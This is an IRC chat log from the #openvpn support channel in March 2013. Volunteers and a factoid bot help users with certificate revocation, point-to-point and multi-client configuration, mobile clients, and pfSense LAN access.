08:54 < pekster> Sure. Keep in mind that solution can still drift up to the downtime between boots, so you still want to take measures to insure NTP properly sets your clock or you'll slowly vary from real-world time
08:55 < gitsu-sa> i sync the clock every day with cron
08:56 -!- AsadH is now known as zz_AsadH
09:01 <+EugeneKay> Buy hardware with a working clock. </2c>
09:24 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
09:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:30 -!- marksaitis [~marksaiti@62.49.62.180] has quit [Ping timeout: 245 seconds]
09:34 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
09:39 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 248 seconds]
09:39 -!- JSharpe [~JSharpe@46.165.210.17] has joined #openvpn
--- Log closed Mon Mar 04 10:01:01 2013
--- Log opened Mon Mar 04 10:01:14 2013
10:01 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
10:01 -!- Irssi: #openvpn: Total of 178 nicks [8 ops, 0 halfops, 5 voices, 165 normal]
10:01 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Operation timed out]
10:01 < dropje> poor vpnHelper
10:01 -!- Irssi: Join to #openvpn was synced in 42 secs
10:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
10:02 -!- mode/#openvpn [+o vpnHelper] by ChanServ
10:02 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 245 seconds]
10:02 < pekster> It disappeared yesterday as well on the wrong side of a netsplit when I was using it :\
10:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
10:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
10:07 -!- mode/#openvpn [+o vpnHelper] by ChanServ
10:09 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:15 <+EugeneKay> !factoids
10:15 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
10:15 <+EugeneKay> Bookmark, enjoy
10:16 < pekster> Yea, I copy/pasted from it during the netsplit
10:17 -!- zz_AsadH is now known as AsadH
10:20 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
10:20 < xtz> hey guys
10:20 < xtz> I have a quick question
10:21 < xtz> in <ovpn_homedir>/keys/index.txt I got a db with all the certs Ive created
10:21 < xtz> how can I remove someone from there (besides text editor :P)
10:23 < pekster> xtz: If you've issued a cert, you want to revoke the key, not just delete it. The index.txt is just a flat db telling you what's been issued; the cert is still valid if you remove it from the index
10:23 < pekster> s/key/cert/
10:23 < rob0> Furthermore, you shouldn't have your PKI on the server. Ideally you'd keep it elsewhere, not on a VPN-connected machine.
10:26 -!- You're now known as ecrist
10:26 -!- mode/#openvpn [+o ecrist] by ChanServ
10:49 -!- Valcorb [~Valcorb@199.229.249.189] has joined #openvpn
10:49 < xtz> pekster: alright, how to remove the cert then?
10:50 < xtz> I mean, the cert itself (as a file) is removed already
10:50 < xtz> is there another db thats keeping record of these?
10:51 < pekster> The index.txt is just that - an index. You need the cert file on-disk on the PKI as that's used to perform the revocation
10:51 < pekster> If you deleted it, it's somewhat non-trivial to properly revoke the certificate, so ideally you have backups of this critical part of your infrastructure
10:52 < pekster> The correct way to revoke an issued certificate with Easy-RSA is to use the 'revoke-full' script and pass the cert filename (sans extension)
10:53 < pekster> Then take the CRL and apply it to your server
10:53 < pekster> !revoke
10:53 < pekster> !factoids search revoke
10:53 <@vpnHelper> No keys matched that query.
10:53 < pekster> !crl
10:53 <@vpnHelper> "crl" is (#1) --crl-verify <crl> A CRL (certificate revocation list) is used when a particular key is compromised but when the overall PKI is still intact. The only time when it would be necessary to rebuild the entire PKI from scratch would be if the root certificate key itself was compromised. or (#2) you can make use of CRL by using the revoke-full script in easy-rsa (packaged with openvpn) that
10:53 <@vpnHelper> will create the CRL file for you. ssl-admin will also build a crl for you
10:54 < xtz> okayyyy
10:54 < xtz> thanks a lot for the info :-)
10:59 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
10:59 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
10:59 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
10:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
10:59 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
10:59 < vaillor> hi guys
10:59 < vaillor> i have configured my server in this way:
10:59 < vaillor> remote 87.20.100.100
10:59 < vaillor> ifconfig 10.3.0.1 255.255.255.0
10:59 < vaillor> secret key.txt
10:59 < vaillor> is it good?
11:01 < pekster> Without any form of context or your goals, I can definitively says "Maybe."
11:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:02 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:04 -!- Valcorb [~Valcorb@199.229.249.189] has quit [Ping timeout: 252 seconds]
11:05 -!- AsadH is now known as zz_AsadH
11:06 < rob0> I can definitively say that when using --secret you are not using a "server". :) That's p2p mode.
11:08 < vaillor> pekster, it's the sample.ovpn configuration file
11:12 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
11:12 < pekster> Assuming the key exists in the cwd, that config should technically launch. You really shouldn't use peer with an IP of 255.255.255.0, but again, it'll technically work
11:12 < pekster> If it's "good" depends on your setup and needs; no context from you means I can't help there
11:13 < vaillor> i need to connect point to point
11:13 < vaillor> my smartphone
11:13 < vaillor> to my pc
11:13 < pekster> Why are you using 255.255.255.0 as the remote PtP IP then?
11:13 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Ping timeout: 255 seconds]
11:14 < vaillor> i don't know, i've seen my host-only intefrace virtualbox who connects my guest vm to my host
11:14 < vaillor> they are point-to-point
11:14 < vaillor> so i copied configuration
11:14 < vaillor> that is 255.255.255.0
11:16 < pekster> That's a netmask. When used as an IP it falls in the "reserved for future use" so-called "Class E" IP space thath you shouldn't be using
11:16 < pekster> So, don't use such a silly PtP address. I'm pretty sure virtualbox is assinging your VM on a virtual subnet, not a PtP interface
11:17 < vaillor> pekster, can you help me to configure better?
11:18 < pekster> Mirror the IP opposite what your other OpenVPN endpoint is using
11:18 < pekster> If the remote end does 'ifconfig 10.3.0.2 10.3.0.1' then the local one should use 'ifconfig 10.3.0.1.10.3.0.2'
11:18 < pekster> You can use any IPs you want for a PtP peering, although they are generally by convention placed in the same logical network segment you've reserved
11:21 < vaillor> pekster, so, on the server side i use 10.3.0.2
11:22 < vaillor> on the client side i use 10.3.0.1 ?
11:22 < pekster> You should reverse them. Technically you can make up "whatever IPs" you want, but it's really confusing if the ends to mirror/match each other
11:22 < vaillor> in the remoge line
11:22 < vaillor> "remote"
11:23 < vaillor> which ip do i need to use?
11:23 < pekster> That's your remote endpoint. As defined in --remote in the manpage
11:23 < vaillor> remote real ip?
11:23 < pekster> I haven't a clue. What host do you intend to connect to? Or if this is the OpenVPN "server" (the endpoint waiting for a connection) you don't specify any remote line
11:24 -!- sh_t [~sht@176.222.238.158] has joined #openvpn
11:30 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
11:30 < vaillor> pekster
11:30 < vaillor> 87.20.100.100
11:30 < vaillor> it's the host real ip
11:31 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
11:31 -!- mikkel [~mikkel@80.71.132.15] has joined #openvpn
11:31 < vaillor> is the server
11:31 < pekster> Not the local hosts's IP. Remote is used to define the *remote* end, ie: your other VPN peer
11:31 < pekster> If that's correct, then yes, that's fine
11:32 < vaillor> so, now what i need to do to set these information on my iphone?
11:33 < pekster> Connect it? The iphone makes a bad test platform since logs/errors are harder to hunt down
11:33 < pekster> You're better off getting a working config somewhere else and importing it to the iphone
11:33 < pekster> Then it something doesn't work, you get logs without having to jump through hoops
11:34 < vaillor> ok, but never mind, i shouldn't get errors
11:36 < vaillor> so only these 3 line i need to config?
11:39 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
11:40 < xtz> failed to update database
11:40 < xtz> TXT_DB error number 2
11:40 < xtz> grrrrr
11:41 < pekster> You messed up your serial somehow; that error is an "index clash"
11:42 < pekster> http://www.mail-archive.com/openssl-dev@openssl.org/msg15628.html
11:42 <@vpnHelper> Title: [openssl.org #502] TXT_DB error number 2 (at www.mail-archive.com)
11:42 < xtz> already googled it and found my err
11:42 < xtz> forgot to source vars before issuing another cert
11:42 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
11:45 < vaillor> pekster, is there a way to specify a port?
11:47 < pekster> After the remote IP, or via --port
11:47 < pekster> See --remote and --port in the manpage for details
11:48 < vaillor> ok
11:48 < vaillor> so, i prepared a configuration file to export on the iphone
11:48 < vaillor> how to export also the key?
11:50 < pekster> copy it to the cwd you'll call the program from, or put it inline (which I believe is easier on the iphone.) I don't use/have an iphone so I can't help you there
11:50 < pekster> !inline
11:50 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
11:52 < tabakhase> remoind me, what where "wrong" in allowing multiple connections for the same cert? (appart from ensuring that someone cant just give 'his key to a new user')
11:52 < tabakhase> vaillor using openvpn from cydia?
11:52 < vaillor> no
11:53 < tabakhase> then "not" afaik... openvpn issnt supported by stock iOS
11:53 < pekster> Yes it is
11:53 < pekster> !iphone
11:53 <@vpnHelper> "iphone" is (#1) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#2) OpenVPN is now available for iOS in the App Store or (#3) https://community.openvpn.net/openvpn/wiki/IOSinline
11:53 < tabakhase> (using the thing from cydia you form a zip with certs+config and just upload it "to that programm" using itunes)
11:54 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
11:54 -!- gitsu-sa [~gtu@unaffiliated/gitsu-sa] has quit [Ping timeout: 252 seconds]
11:55 < tabakhase> uhhh - what am i reading there? no JB required anymore?
11:55 < tabakhase> is that than not supporting the gw-redirect or did they managed to make that all happen now?
11:55 < pekster> tabakhase, it's bad practice to share any form of a private key, be it X509 keypairs for openvpn, ssh private keys, etc. You can't tell "who" connected based on CN, nor can you revoke just one of their certs for access
11:55 < pekster> Should be fully support minus tap, I believe
11:56 < pekster> !android
11:56 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, openvpn and busybox are already installed for you! or (#3) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the
11:56 <@vpnHelper> market
11:56 < pekster> Yes, so I think >=JB for the android APIs to work without root
11:57 < tabakhase> hm, i can just remember it where "the" reason to JB my ipad2... but thats been a year ago or so...
12:01 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has joined #openvpn
12:03 < pekster> Oh, jailbreak: JB to mean means Jelly Bean for Android...
12:03 < pekster> to me*
12:03 < vaillor> pekster, how do i identify the client and server?
12:03 < vaillor> the config is the same
12:04 < pekster> You need to read the howto a bit closer. http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html
12:04 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
12:04 -!- marksaitis [~marksaiti@86.28.107.165] has joined #openvpn
12:06 < vaillor> so, another question is: what difference is there between: openvpn-install-2.3.0-I004-i686.exe
12:06 < vaillor> and tunnelinstall.msi ?
12:06 < vaillor> oh sorry
12:06 < vaillor> privatetunnel.msi
12:07 <+EugeneKay> PrivateTunnel is the proprietary version
12:07 <+EugeneKay> !download
12:07 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
12:07 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
12:11 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-safvatvxnhzshede] has quit []
12:14 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
12:17 -!- master_o1_master [~master_of@p4FF249DB.dip.t-dialin.net] has joined #openvpn
12:19 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-oezetszxfobedvxh] has joined #openvpn
12:20 -!- master_of_master [~master_of@p4FF2449F.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
12:20 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
12:31 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
12:37 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 252 seconds]
12:42 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has joined #openvpn
12:47 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:02 -!- MFSOT_ [~MFSOT@226.sub-70-215-20.myvzw.com] has joined #openvpn
13:03 < MFSOT_> Hello all - I'm having trouble connecting to my LAN via pfSense openVPN server, no on over there seems to be able to figure this out, I have to think it's a simplistic answer when it's figured out. Basically I'm connected via client, firewall is wide open and I can't access LAN
13:04 <@ecrist> !configs
13:04 < MFSOT_> I can ping the gateway (pfSense) but can't ping any members of the LAN
13:04 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:04 <@ecrist> !diagram
13:04 <@vpnHelper> "diagram" is You can use a site such as http://gliffy.com to create a network diagram as well as programs such as Visio, Dia, or OmniGraffle
13:04 <@ecrist> !logs
13:04 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:04 <@ecrist> !goal
13:04 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:08 < MFSOT_> http://pastebin.com/Dwf1TPGF
13:08 < MFSOT_> windows client log
13:09 < MFSOT_> win 7 pro client is 2.3
13:12 -!- marksaitis [~marksaiti@86.28.107.165] has quit [Ping timeout: 245 seconds]
13:12 <@ecrist> waiting for the rest of it
13:13 < MFSOT_> ecrist obtaining it
13:13 < MFSOT_> I'd love to give you the config off the pfsense box but don't know of anyway of getting it to this machine
13:14 < MFSOT_> so I'll take some screen shots
13:15 < MFSOT_> I'm on pfSense 2.01
13:15 < rob0> !pfsense
13:16 <@vpnHelper> "pfsense" is dont use the web gui for configuring openvpn, you need to understand the config and logfiles
13:16 < rob0> um, it's there somewhere
13:16 <@ecrist> pfsense keeps it as a config file somehwere, trying to remeber where scott said it was
13:16 <@ecrist>  /var/etc/openvpn/
13:17 -!- Kendall [~gjones@173-165-28-227-Illinois.hfc.comcastbusiness.net] has left #openvpn []
13:20 -!- vpopov [~happylife@dyn-60-157.fttbee.kis.ru] has joined #openvpn
13:24 < MFSOT_> ecrist, I'll try to find it in shell and cpy it to a usb, just not quite sure how I'll accomplish that
13:26 <@ecrist> the the file and copy/paste to pastebin
13:27 < MFSOT_> i get that, but pfsense is just a shell unless I'm on the gui so I need to take it off the pfsense box and get it to this box that I'm talking to you on
13:27 <@ecrist> no
13:27 <@ecrist> open a shell, type cat <filename> where <filename> is the path and filename of the config
13:28 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds]
13:28 <@ecrist> the use your mouse, select the text, and paste it to pastebin
13:30 < MFSOT_> it's a different box, are you saying I can paste to pastebin via CLI on psSense? mouse doesn't work in CLI on pfSense... I'll just type it out and paste it
13:31 <@ecrist> you can't use ssh?
13:37 < MFSOT_> I've got nothing ecrist, I appreciate your help - I don't know a way to copy the text in CLI of pfSense as I can't use a mouse and can't get off of the current line my cursor is on
13:38 < MFSOT_> best I can do is past some images at imgur of my config, but if that's not enough I understand
13:38 < pekster> texual terminal select is provided on almost any terminal, from xterm under Unix/Linux to putty under Windows. You can't ssh into your pfsense box with such a standard terminal?
13:39 < pekster> Your life will be a lot easier if you do that first, and then attempt to configure your OS after you have a proper terminal interfce to it
13:40 <@ecrist> MFSOT_: email it to yourself
13:41 < MFSOT_> I'll putty in
13:41 <@ecrist> damn you
13:41 <@ecrist> putty is ssh
13:41 <@ecrist> you can use the mouse in putty to copy text
13:41  * ecrist gives up
13:42 < pekster> Well now, I also use RS-232 via putty when I need to jack into a switch or serial boot console ;)
13:42 <@ecrist> you can still use the mouse to copy text.
13:43 <@ecrist> :P
13:43 < pekster> When the console finally sends it, yes :D
13:48 -!- MFSOT [~MFSOT@226.sub-70-215-20.myvzw.com] has joined #openvpn
13:51 -!- MFSOT_ [~MFSOT@226.sub-70-215-20.myvzw.com] has quit [Ping timeout: 250 seconds]
13:55 < neilhwatson> What is the mechanism used on this channel to refer to documentation via !<keyword>?
13:55 -!- Orbi [~opera@109.129.1.99] has joined #openvpn
13:57 < pekster> neilhwatson: The local bot is connected just like any other user and runs code to listen for commands and reply to them
13:58 < pekster> Pretty common on IRC really
13:58 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has quit [Quit: nonotza]
13:58 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has joined #openvpn
14:02 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Remote host closed the connection]
14:04 -!- pelle2 [~palle@178-132-74-156.cust.azirevpn.net] has joined #openvpn
14:05 < pelle2> is it possible to access a LAN behind an openvpn server if the router on the lan is using the same IP as a machine on the LAN from where i'm connecting?
14:05 < pelle2> or will there be a conflict regardless how i config things
14:05 < pelle2> can i config the server to somehow go around this
14:07 < pekster> You can add a more-specific route (say a /32 IPv4 route) on the client to override the link-local route, but it's best to fix your issue properly by avoiding conflicting network ranges
14:09 < pekster> And of course that breaks if you actually need to reach the local version of that IP (for your router, DNS, etc)
14:09 < pekster> What's stopping you from not overlapping network ranges? 10/8 is a nice and big place...
14:10 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
14:12 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
14:13 < MFSOT> http://pastebin.com/XiGLmlfL = client        http://pastebin.com/Dwf1TPGF = client log        http://pastebin.com/iBp6uWRm = server config
14:14 < MFSOT> GOAL is to be able to vpn into our LAN and access file server
14:14 < MFSOT> we don't need a diagram of our network it's internet>pfsense/openVPN>LAN
14:15 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
14:17 -!- Devastator [~devas@177.18.198.56] has joined #openvpn
14:20 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:21 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
14:24 < pelle2> pekster: i will have to change the ip for my LAN subnet then, dont know what that will do to all my rules and NATs in pfsense (router)
14:24 < pelle2> but i guess that would be the best alternative
14:28 < pekster> MFSOT: Your server is operating in multi-client mode with net30 topology but you've configured declared a PtP IP on line 23 of the client config, which you don't want. You don't need the route on line 24 as the server pushes it. No idea why you've speciifed "lport 0" on line 20 either; port "0" tends to cause problems, assuming it works at all. Maybe you wanted 'nobind' instead? The local directive on line 17 matches the one used by ...
14:28 < pekster> ... the server, which is invalid unless both client & server openvpn instances are runnign on the same box
14:29 < pekster> MFSOT: I'd start over with the official howto, becuase there's a lot wrong with your setup:
14:29 < pekster> !howto
14:29 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:30 < MFSOT> pekster - this is new to me - set it up via GUI
14:30 < MFSOT> I want multi clients
14:30 < pekster> Yea, don't do that. Read the official howto, because we don't support poorly designed frontends here
14:30 < MFSOT> ok
14:31 < MFSOT> so I can set it up behind the scenes and import it to pfSense?
14:31 < pekster> Probably; I don't use pfsense, so I don't know how its init system is designed
14:31 < pekster> You can likely just replace the config file with your own though
14:36 < MFSOT> thank you for your help
14:37 < MFSOT> same to ecrist
14:38 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 248 seconds]
14:42 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has quit [Quit: leaving]
14:44 -!- mete [~mete@mete.shell.la] has joined #openvpn
14:50 -!- vpopov [~happylife@dyn-60-157.fttbee.kis.ru] has quit [Ping timeout: 240 seconds]
14:53 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
14:56 -!- mikkel [~mikkel@80.71.132.15] has quit [Quit: Leaving]
15:17 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 264 seconds]
15:21 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
15:24 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has quit [Ping timeout: 276 seconds]
15:37 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
15:45 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
15:46 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
15:49 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
15:52 -!- MFSOT [~MFSOT@226.sub-70-215-20.myvzw.com] has quit [Read error: Connection reset by peer]
15:52 -!- MFSOT [~MFSOT@226.sub-70-215-20.myvzw.com] has joined #openvpn
15:54 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:54 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
15:55 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
16:02 -!- MFSOT [~MFSOT@226.sub-70-215-20.myvzw.com] has quit [Ping timeout: 256 seconds]
16:05 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 18.0.2/20130201065344]]
16:08 < vaillor> how to configure openvpn as a server?
16:09 < pekster> The howto is the right place to start with that broad of a question. In the abstract, you configure it without a 'remote' directive and it'll start up and wait for connections, thus acting as a "server"
16:09 < pekster> !howto
16:09 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:10 < vaillor> thank you
16:24 -!- Orbi [~opera@109.129.1.99] has left #openvpn []
16:30 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
17:19 -!- vect0rx [vectorx@havok.org] has joined #openvpn
17:22 -!- p3rror [~mezgani@41.249.23.19] has joined #openvpn
17:30 -!- MFSOT [~MFSOT@c-24-34-166-26.hsd1.ma.comcast.net] has joined #openvpn
17:53 -!- MFSOT [~MFSOT@c-24-34-166-26.hsd1.ma.comcast.net] has quit [Ping timeout: 250 seconds]
17:58 < vaillor> do i need to create certificates also on the clients?
17:59 < pekster> Yes, unless you want to use --user-auth-pass-verify by itself to authenticate users
18:00 < vaillor> in this way i need to set pass on the server?
18:00 < pekster> That should be: --auth-user=pass-verify
18:00 < pekster> With a dash. Typing fail
18:01 < pekster> That directive takes a script or executable command to perform the authentication
18:01 < pekster> See the manpage for details
18:02 < pekster> Combined with --client-cert-not-required you just need the ca.crt (so the client can verify the server.) The server would then require a user/pass and verify it according to the script. This is less secure, but sometimes more convenient
18:02 < vaillor> so, when i import config to a client, i imported also key
18:02 < vaillor> why do i need to generate another key?
18:03 < pekster> You cannot (or should not, at least) use the server's keypair for the client
18:03 < pekster> That's all measures of wrong
18:03 < pekster> You are trying to set up X509 for multi-client server support, right?
18:03 < vaillor> i haven't understood the difference between client and server in vpn configuration
18:04 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
18:05 < pekster> When used in 'mode server', you have a "server" that listens for incoming client connections, and has a cert signed with special "server" attributes. Clients get unique keypairs of their own, signed with special "client" attributes. For a secure environment, clients should check that the cert they get is a correctly issued "server" cer
18:05 < pekster> !mitm
18:05 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
18:06 < vaillor> ok, so, if i need to establish start the vpn connection from server to client, i can't
18:06 < vaillor> but i need at first to initiate i t from client to server
18:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
18:07 < pekster> Right. By definition the server listens for connections
18:08 < pekster> How else do you expect it to support multiple clients?
18:08 < vaillor> in a normal lan network there isn't a "server"
18:08 < vaillor> but is there only a switch that connects all hosts
18:09 < pekster> The server is the end that listens for connections. The client initiates the connection
18:09 < pekster> In p2p mode there is no clear role of "server" vs "client", but in multi-client mode ('mode server' in openvpn config terms) the distinction is explicit
18:10 < pekster> One end must take the TLS Server role for the TLS handshake negotation, and this end also listens for inbound connections on a defined port
18:10 < vaillor> in p2p mode both side are client and server at the same time?
18:10 < pekster> In p2p it's better to think of them as both "peers"
18:11 < pekster> Usually one end still listens and the other has the remote directive, but they could both have remote directives so either end tries to re-open a connection if they have data to send and the connection isn't considered established yet
18:11 < vaillor> so, in this way, i can initiate the connection from both sides?
18:11 < pekster> Sort of. UDP has no notion of "initiating" a connection - it's just a stream of packets with no defined start or end
18:12 < pekster> Firewalls often care, but the UDP protocol doesn't
18:12 < pekster> If some of the basics are confusing, here's a more basic guide to understanding how TCP/IP works that might provide background reading:
18:12 < pekster> !tcpip
18:13 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
18:13 < vaillor> pekster, and how can i specify to use it in client-server mode or in p2p mode?
18:13 < pekster> The --mode directive
18:14 < pekster> Using any of --server, --server-bridge, or --client directives imply mode server or client as well
18:14 < pekster> Each are further defined in the manpage
18:41 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
18:41 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
18:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
18:41 -!- mode/#openvpn [+o krzee] by ChanServ
18:51 -!- MFSOT [~MFSOT@c-24-34-166-26.hsd1.ma.comcast.net] has joined #openvpn
18:56 -!- ravel_exe [~ravel_exe@175.136.85.24] has joined #openvpn
18:57 < vaillor> pekster, how do i need to put configuration file and key file in openvpn over debian?
18:57 < pekster> Same as any other standard distro; drop the config in /etc/openvpn/ named whatever.conf and start the initscript
18:58 < pekster> IIRC debian's initscript just blindly starts any *.conf there; maybe /etc/default/openvpn can tune that, but it's been a while since I ran openvpn+debian so you'd want to check that
18:59 -!- ravel_exe [~ravel_exe@175.136.85.24] has quit [Remote host closed the connection]
19:01 < vaillor> so i only copy .conf in /etc/openvpn
19:01 < pekster> Probably your keys & certs too, unless they're all inline
19:22 -!- p3rror [~mezgani@41.249.23.19] has quit [Read error: Connection reset by peer]
19:24 -!- p3rror [~mezgani@41.249.23.19] has joined #openvpn
19:26 -!- raidz is now known as raidz_away
19:27 -!- JSharpe [~JSharpe@46.165.210.17] has quit [Quit: Leaving]
19:31 -!- pinion [~pinion@unaffiliated/pinion] has quit [Quit: leaving]
19:38 -!- oc80z is now known as [oc80z]
19:58 -!- Devastator [~devas@177.18.198.56] has quit [Changing host]
19:58 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:15 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:19 -!- TriJetScud [~TriJetScu@2001:470:e97f:1003:215:5dff:fe07:4806] has quit [Quit: ZNC - http://znc.in]
20:22 -!- ar0nic [~no@c-174-56-147-242.hsd1.sc.comcast.net] has quit [Ping timeout: 260 seconds]
21:08 -!- sh_t [~sht@176.222.238.158] has quit [Ping timeout: 252 seconds]
21:16 -!- MFSOT [~MFSOT@c-24-34-166-26.hsd1.ma.comcast.net] has quit [Quit: Leaving]
21:16 -!- sh_t [~sht@31.7.62.130] has joined #openvpn
21:20 -!- sh_t [~sht@31.7.62.130] has quit [Ping timeout: 255 seconds]
